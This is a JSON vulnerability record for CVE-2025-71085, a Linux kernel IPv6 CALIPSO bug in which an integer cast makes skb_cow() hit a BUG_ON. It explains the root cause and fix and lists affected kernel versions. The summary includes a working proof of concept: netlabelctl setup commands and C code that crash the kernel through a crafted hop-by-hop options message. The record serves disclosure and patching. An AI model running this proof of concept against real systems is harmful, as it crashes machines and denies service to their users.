{ "schemaVersion": 1, "attribution": [ { "source": "CISA Known Exploited Vulnerabilities", "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "licence": "US government work" }, { "source": "GitHub Advisory Database", "url": "https://github.com/advisories", "licence": "CC BY 4.0" }, { "source": "Have I Been Pwned", "url": "https://haveibeenpwned.com/", "licence": "CC BY 4.0" }, { "source": "CVE Program (CVE records)", "url": "https://www.cve.org/Legal/TermsOfUse", "licence": "CVE Terms of Use", "notice": "Copyright © 1999-2026, The MITRE Corporation. CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation.", "terms": "CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE™). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy." }, { "source": "FIRST EPSS", "url": "https://www.first.org/epss/", "licence": "free to use; FIRST requests attribution" } ], "record": { "id": "CVE-2025-71085", "sourceURL": "https://www.cve.org/CVERecord?id=CVE-2025-71085", "idYear": 2025, "status": "PUBLISHED", "publishedAt": "2026-01-13T15:34:48.324Z", "updatedAt": "2026-10-19T18:15:11.736Z", "importedAt": "2026-10-24T01:57:44.935Z", "snapshot": { "id": "cve_2026-10-24_midnight_baseline", "at": "2026-10-24T00:00:00.000Z", "source": "https://github.com/CVEProject/cvelistV5/releases/tag/cve_2026-10-24_0100Z" }, "facts": { "title": "ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()", "summary": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead < 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom > INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) < 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n netlabelctl map del default\n netlabelctl calipso add pass doi:7\n netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n Then run the following PoC:\n\n int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n // setup msghdr\n int cmsg_size = 2;\n int cmsg_len = 0x60;\n struct msghdr msg;\n struct sockaddr_in6 dest_addr;\n struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n sizeof(struct cmsghdr) + cmsg_len);\n msg.msg_name = &dest_addr;\n msg.msg_namelen = sizeof(dest_addr);\n msg.msg_iov = NULL;\n msg.msg_iovlen = 0;\n msg.msg_control = cmsg;\n msg.msg_controllen = cmsg_len;\n msg.msg_flags = 0;\n\n // setup sockaddr\n dest_addr.sin6_family = AF_INET6;\n dest_addr.sin6_port = htons(31337);\n dest_addr.sin6_flowinfo = htonl(31337);\n dest_addr.sin6_addr = in6addr_loopback;\n dest_addr.sin6_scope_id = 31337;\n\n // setup cmsghdr\n cmsg->cmsg_len = cmsg_len;\n cmsg->cmsg_level = IPPROTO_IPV6;\n cmsg->cmsg_type = IPV6_HOPOPTS;\n char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n sendmsg(fd, &msg, 0);", "affected": [ { "vendor": "Linux", "product": "Linux", "defaultStatus": "unaffected", "versions": [ { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "status": "affected", "versionType": "git", "lessThan": "86f365897068d09418488165a68b23cb5baa37f2" }, { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "status": "affected", "versionType": "git", "lessThan": "6b7522424529556c9cbc15e15e7bd4eeae310910" }, { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "status": "affected", "versionType": "git", "lessThan": "2bb759062efa188ea5d07242a43e5aa5464bbae1" }, { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "status": "affected", "versionType": "git", "lessThan": "c53aa6a5086f03f19564096ee084a202a8c738c0" }, { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "status": "affected", "versionType": "git", "lessThan": "bf3709738d8a8cc6fa275773170c5c29511a0b24" }, { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "status": "affected", "versionType": "git", "lessThan": "73744ad5696dce0e0f43872aba8de6a83d6ad570" }, { "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3", "status": "affected", "versionType": "git", "lessThan": "58fc7342b529803d3c221101102fe913df7adb83" } ] }, { "vendor": "Linux", "product": "Linux", "defaultStatus": "affected", "versions": [ { "version": "4.8", "status": "affected" }, { "version": "0", "status": "unaffected", "versionType": "semver", "lessThan": "4.8" }, { "version": "5.10.248", "status": "unaffected", "versionType": "semver", "lessThanOrEqual": "5.10.*" }, { "version": "5.15.198", "status": "unaffected", "versionType": "semver", "lessThanOrEqual": "5.15.*" }, { "version": "6.1.160", "status": "unaffected", "versionType": "semver", "lessThanOrEqual": "6.1.*" }, { "version": "6.6.120", "status": "unaffected", "versionType": "semver", "lessThanOrEqual": "6.6.*" }, { "version": "6.12.64", "status": "unaffected", "versionType": "semver", "lessThanOrEqual": "6.12.*" }, { "version": "6.18.4", "status": "unaffected", "versionType": "semver", "lessThanOrEqual": "6.18.*" }, { "version": "6.19", "status": "unaffected", "versionType": "original_commit_for_fix", "lessThanOrEqual": "*" } ] } ] } } }